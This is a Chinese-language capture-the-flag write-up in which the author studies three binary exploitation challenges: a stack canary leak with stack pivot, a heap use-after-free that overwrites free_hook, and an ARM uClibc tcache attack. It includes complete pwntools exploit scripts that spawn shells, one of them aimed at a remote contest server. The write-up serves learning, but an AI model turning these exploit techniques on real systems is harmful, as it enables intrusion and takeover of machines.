自做pwn题以来第一次打比赛,真正遇到题目果然是一脸懵逼。。。拿着师傅们的wp学习
twice 拿到题目,看一下文件属性是64位的ELF,可以实现回显用户输入的功能。
查看一下保护,发现开启了NX
、canary
:
题目分析 IDA反编译发现到sub_4007A9
函数调用了puts函数,可以实现栈溢出
其中栈结构如下:
可知,我们输入的字符串被保存到参数s
的位置,它到var_8
(其实就是canary)的大小是0x58
字节,因此溢出的难点就在于如何绕过canary的检测,这里由于是会回显用户输入的字符串,那么在0x58个字符之后再输入一个字符覆盖canary的\x00
字节,那么就可以将canary连带一起输入,其后的栈底地址也能一同输出,这便是突破点。
那么整体思路就是:第一次输入通过覆盖canary低字节泄露canary和rbp,第二次输入做栈迁移泄露出libc基址,随后再次迁移到栈顶位置然后构造payload覆盖返回地址为one_gadget,即可getshell。
exp 比赛的时候好像没有提供 libc 版本,这样的话就多了一步 libc版本的确定,不过在复现的时候看到师傅直接写了libc-2.23.so
,这样也方便学习了。
先找一下64位libc-2.23.so
中的gadget:
最终exp如下:
from pwn import *sh = process('5kjpwn1' ) elf = ELF('./5kjpwn1' ) libc = ELF('./libc-2.23.so' ) rdi_ret = 0x400923 push_ebp = 0x4007a9 leave_ret = 0x400879 payload1 = 'a' *0x58 + 'b' sh.sendafter('>' , payload1) sh.recvuntil('b' ) canary = u64((sh.recv(7 )).rjust(8 ,'\x00' )) stack = u64(sh.recv(6 ).ljust(8 ,'\x00' )) payload2 = 'c' *0x08 + p64(rdi_ret) + p64(elf.got['puts' ]) + p64(elf.plt['puts' ]) + p64(push_ebp) payload2 = payload2.ljust(0x58 , 'a' ) payload2 += p64(canary) + p64(stack-0x70 ) + p64(leave_ret) sh.sendafter('>' , payload2) sh.recvuntil('cccccccc' ) puts_addr = u64(sh.recv(6 ).ljust(8 , '\x00' )) print hex(puts_addr)libc_base = puts_addr - libc.sym['puts' ] payload3 = 'a' *0x58 + p64(canary) + p64(0 ) + p64(libc_base + 0x45216 ) sh.sendafter('>' , payload3) sh.interactive()
of 这是一道堆题,题目有allocate, edit, show, delete
几个功能。出题方从urandom
读了一个8字节的随机数当做cookie
,只有cookie
正确才能做操作,free的时候把cookie
清零。 然而编译器(gcc
和clang
)都会把这个清0操作给优化掉,导致UAF
。
题目分析 讲真的,看师傅们的exp没看懂是怎么搞的,堆题之前也没刷过呢。。。
远程测试发现和源码不同,没有了cookie操作,直接改free_hook调用system即可。
from pwn import *context.log_level="debug" def add (index) : p.sendlineafter(": " ,"1" ) p.sendlineafter(": " ,str(index)) def edit (index,note) : p.sendlineafter(": " ,"2" ) p.sendlineafter("Index: " ,str(index)) p.sendafter("Content: " ,note) def show (index) : p.sendlineafter(": " ,"3" ) p.sendlineafter("Index: " ,str(index)) def delete (index) : p.sendlineafter(": " ,"4" ) p.sendlineafter(": " ,str(index)) p=process("./5kjpwn2" ) for i in range(9 ): add(i) for i in range(8 ): delete(i) show(7 ) p.recvuntil(": " ) libc=u64(p.recv(6 )+"\x00\x00" )-0x7ffff7dcfca0 +0x7ffff79e4000 print hex(libc)edit(6 ,p64(libc+0x003ed8e8 )) edit(0 ,"/bin/sh\x00" ) add(10 ) add(11 ) edit(11 ,p64(libc+0x04f440 )) delete(0 ) p.interactive()
pwnme 一道heap题目,只不过环境变成了uclibc + arm
,因为uclibc当中也加入了tcache的机制,所以可以通过tcache机制对heap上的地址进行泄露,然后在edit
函数当中能够溢出任意大小的字节。因此可以修改堆后面的数据,通过tcache attack,劫持程序的控制流就能够进行ROP,最后获得程序的控制权。
arm架构程序的调试 需要有qemu
的环境,然后按照如下步骤启动终端进行调试:
sudo mv ld-uClibc-1.0 .34 .so ld-uClibc.so.0 sudo mv ld-uClibc.so.0 /lib / sudo mv libuClibc-1.0 .34 .so libc.so.0 sudo mv libc.so.0 /lib /
之后执行如下命令即可运行程序
qemu-arm -L ./lib ./a .out
按照下面的操作可进行调试:
qemu-arm -g 1234 -L ./lib ./a .out
然后另开一个终端
gdb-multiarch ./a .out -q pwndbg> target remote localhost:1234
即可调试。
exp from pwn import *import syscontext.log_level="debug" def show () : p.sendlineafter(">>> " ,"1" ) def add (l,note) : p.sendlineafter(">>> " ,"2" ) p.sendlineafter(":" ,str(l)) p.sendafter(":" ,note) def change (index,l,note) : p.sendlineafter(">>> " ,"3" ) p.sendlineafter(":" ,str(index)) p.sendlineafter(":" ,str(l)) p.sendafter(":" ,note) def remove (index) : p.sendlineafter(">>> " ,"4" ) p.sendlineafter(":" ,str(index)) if len(sys.argv)==1 : p=remote("121.36.58.215" ,1337 ) else : p=process(["qemu-arm" ,"-L" ,"./" ,"./a.out" ]) add(0x18 ,"aaaaaaaa" ) add(0x4f8 ,"aaaaaaaa" ) add(0x18 ,"aaaaaaaa" ) add(0x18 ,"aaaaaaaa" ) change(0 ,0x40 ,"a" *0x1c +p64(0x500 +0x20 +1 )) remove(1 ) add(0x4f8 ,"aaaaaaaa" ) show() p.recvuntil("2 : " ) libc=u32(p.recv(4 ))+0xff720000 -0xff7ba8ec print hex(libc)add(0x18 ,"aaaaaaa" ) add(0x21 ,"aaaaaaa" ) remove(0 ) remove(4 ) change(2 ,8 ,p32(0x21048 ^0x22 )) add(0x18 ,"aaaaa" ) add(0x18 ,"aaaaa" ) change(4 ,0xf8 ,"/bin/sh\x00" +p32(0 )*4 +p32(0x28 )+p32(0x21038 )) change(0 ,0x8 ,p32(libc+0x51800 )) remove(4 ) p.interactive()